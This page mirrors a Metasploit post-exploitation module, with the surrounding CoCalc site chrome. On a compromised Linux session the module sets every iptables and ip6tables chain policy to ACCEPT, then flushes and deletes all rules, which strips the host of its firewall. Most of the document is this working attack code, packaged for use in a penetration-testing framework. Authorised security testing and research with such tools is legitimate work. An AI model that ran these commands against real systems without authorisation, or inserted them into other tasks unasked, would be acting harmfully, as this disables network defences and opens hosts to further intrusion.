CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/manage/iptables_removal.rb
Views: 11702
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::System
9
10
def initialize
11
super(
12
'Name' => 'IPTABLES rules removal',
13
'Description' => %q{
14
This module will be applied on a session connected to a shell. It will remove all IPTABLES rules.
15
},
16
'Author' => 'Alberto Rafael Rodriguez Iglesias <albertocysec[at]gmail.com>',
17
'License' => MSF_LICENSE,
18
'Platform' => ['linux'],
19
'SessionTypes' => ['shell', 'meterpreter']
20
)
21
end
22
23
def run
24
if command_exists?('iptables')
25
print_good('Deleting IPTABLES rules...')
26
cmd_exec('iptables -P INPUT ACCEPT')
27
cmd_exec('iptables -P FORWARD ACCEPT')
28
cmd_exec('iptables -P OUTPUT ACCEPT')
29
cmd_exec('iptables -t nat -F')
30
cmd_exec('iptables -t mangle -F')
31
cmd_exec('iptables -F')
32
cmd_exec('iptables -X')
33
print_good('iptables rules successfully executed')
34
else
35
print_line('iptables rules could not be executed')
36
end
37
if command_exists?('ip6tables')
38
print_good('Deleting IP6TABLES rules...')
39
cmd_exec('ip6tables -P INPUT ACCEPT')
40
cmd_exec('ip6tables -P FORWARD ACCEPT')
41
cmd_exec('ip6tables -P OUTPUT ACCEPT')
42
cmd_exec('ip6tables -t nat -F')
43
cmd_exec('ip6tables -t mangle -F')
44
cmd_exec('ip6tables -F')
45
cmd_exec('ip6tables -X')
46
print_good('ip6tables rules successfully executed')
47
else
48
print_line('ip6tables rules could not be executed')
49
end
50
end
51
end
52
53